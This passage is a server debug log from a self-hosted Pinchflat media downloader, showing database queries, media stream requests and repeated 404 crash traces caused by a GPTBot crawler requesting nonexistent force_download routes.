s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:43:20.799 [debug] QUERY OK source="settings" db=0.2ms idle=1641.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:20.800 [debug] QUERY OK source="settings" db=0.3ms idle=999.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:20.801 [debug] QUERY OK source="settings" db=0.3ms idle=3.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:20.803 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=3.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 02:43:20.805 [info] Sent 200 in 10ms 02:43:43.890 [info] {"source":"oban","duration":1013,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:57.333 [info] GET /media/e4aaa71e-f025-46f9-966f-483d79d13aa2/stream 02:43:57.334 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e4aaa71e-f025-46f9-966f-483d79d13aa2", "v" => "1760292096"} Pipelines: [:maybe_basic_auth] 02:43:57.335 [debug] QUERY OK source="media_items" db=0.5ms idle=1177.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e4aaa71e-f025-46f9-966f-483d79d13aa2"] 02:43:57.335 [debug] Invalid range request for media item: e4aaa71e-f025-46f9-966f-483d79d13aa2 - serving full file 02:43:57.335 [info] Sent 200 in 1ms 02:44:00.270 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:13.892 [info] {"source":"oban","duration":966,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:30.996 [info] GET /sources/1/media/3/force_download 02:44:30.996 [debug] QUERY OK source="settings" db=0.2ms idle=1839.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:30.997 [debug] QUERY OK source="settings" db=0.2ms idle=1055.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:44:30.997 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:44:30.998 [error] #PID<0.239681.0> running PinchflatWeb.Endpoint (connection #PID<0.239680.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/3/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/3/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47134}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239681.0>, params: %{}, path_info: ["sources", "1", "media", "3", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/3/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAgB5zB7skvXOcABbZD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47134}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/3/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239680.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/3/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 47134}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239681.0>, params: %{}, path_info: ["sources", "1", "media", "3", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:44:43.894 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:00.272 [info] {"source":"oban","duration":1003,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:45:03.537 [info] GET /media/25e50c05-1aa1-43bd-bd1d-226e673327d3/stream 02:45:03.537 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "25e50c05-1aa1-43bd-bd1d-226e673327d3", "v" => "1728161143"} Pipelines: [:maybe_basic_auth] 02:45:03.538 [debug] QUERY OK source="media_items" db=0.6ms idle=1380.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["25e50c05-1aa1-43bd-bd1d-226e673327d3"] 02:45:03.539 [debug] Invalid range request for media item: 25e50c05-1aa1-43bd-bd1d-226e673327d3 - serving full file 02:45:03.539 [info] Sent 200 in 2ms 02:45:13.896 [info] {"source":"oban","duration":1531,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:45:43.898 [info] {"source":"oban","duration":1363,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:00.273 [info] {"source":"oban","duration":361,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:46:09.491 [info] GET /media/5f49c7fc-c9fd-479c-a9f9-6ff71eb8bf6f/stream 02:46:09.491 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "5f49c7fc-c9fd-479c-a9f9-6ff71eb8bf6f", "v" => "1728161192"} Pipelines: [:maybe_basic_auth] 02:46:09.492 [debug] QUERY OK source="media_items" db=0.3ms idle=1334.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["5f49c7fc-c9fd-479c-a9f9-6ff71eb8bf6f"] 02:46:09.492 [debug] Invalid range request for media item: 5f49c7fc-c9fd-479c-a9f9-6ff71eb8bf6f - serving full file 02:46:09.493 [info] Sent 200 in 1ms 02:46:13.900 [info] {"source":"oban","duration":1433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:46:43.902 [info] {"source":"oban","duration":1230,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:00.276 [info] {"source":"oban","duration":1441,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:47:03.943 [info] GET /media/ab31e329-50fc-4e78-a20e-213deb015e2f/stream 02:47:03.943 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "ab31e329-50fc-4e78-a20e-213deb015e2f", "v" => "1762711256"} Pipelines: [:maybe_basic_auth] 02:47:03.944 [debug] QUERY OK source="media_items" db=0.4ms idle=1693.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["ab31e329-50fc-4e78-a20e-213deb015e2f"] 02:47:03.944 [debug] Invalid range request for media item: ab31e329-50fc-4e78-a20e-213deb015e2f - serving full file 02:47:03.944 [info] Sent 200 in 1ms 02:47:13.904 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:47:43.906 [info] {"source":"oban","duration":1208,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:00.278 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:48:02.478 [info] GET /sources/1/media/5/force_download 02:48:02.479 [debug] QUERY OK source="settings" db=0.3ms idle=1321.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:02.479 [debug] QUERY OK source="settings" db=0.4ms idle=1321.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:48:02.479 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:48:02.480 [error] #PID<0.239708.0> running PinchflatWeb.Endpoint (connection #PID<0.239707.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/5/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53368}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239708.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/5/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAgONoRsDdrDL4ABbkD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53368}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/5/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239707.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/5/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 53368}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239708.0>, params: %{}, path_info: ["sources", "1", "media", "5", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => (truncated) 02:48:13.908 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:48:43.910 [info] {"source":"oban","duration":1170,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:49:00.091 [info] GET /sources/1/media/8/force_download 02:49:00.092 [debug] QUERY OK source="settings" db=0.3ms idle=1609.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:00.093 [debug] QUERY OK source="settings" db=0.2ms idle=935.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:49:00.093 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:49:00.094 [error] #PID<0.239716.0> running PinchflatWeb.Endpoint (connection #PID<0.239715.0>, stream id 1) terminated Server: pinchflat.guano.duckdns.org:80 (http) Request: GET /sources/1/media/8/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/8/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/8/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59144}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.30", "x-forwarded-host" => "pinchflat.guano.duckdns.org", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "adef28e08a93", "x-openai-host-hash" => "783201737", "x-real-ip" => "74.7.241.30" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.guano.duckdns.org", method: "GET", owner: #PID<0.239716.0>, params: %{}, path_info: ["sources", "1", "media", "8", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.guano.duckdns.org", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 80, 3}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.guano.duckdns.org"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.30"}, {"x-forwarded-host", "pinchflat.guano.duckdns.org"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "adef28e08a93"}, {"x-openai-host-hash", "783201737"}, {"x-real-ip", "74.7.241.30"} ], request_path: "/sources/1/media/8/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GIAgRkQb4IoCsSEABbnD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.239715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/8/force_download", host: "pinchflat.guano.duckdns.org", peer: {{192, 168, 80, 3}, 59144}, bindings: %{}, sock: {{192, 168, 80, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "from" => "gptbot(at)openai.com", "host" => "pinchflat.guano.duckdns.org", "user-agent" => 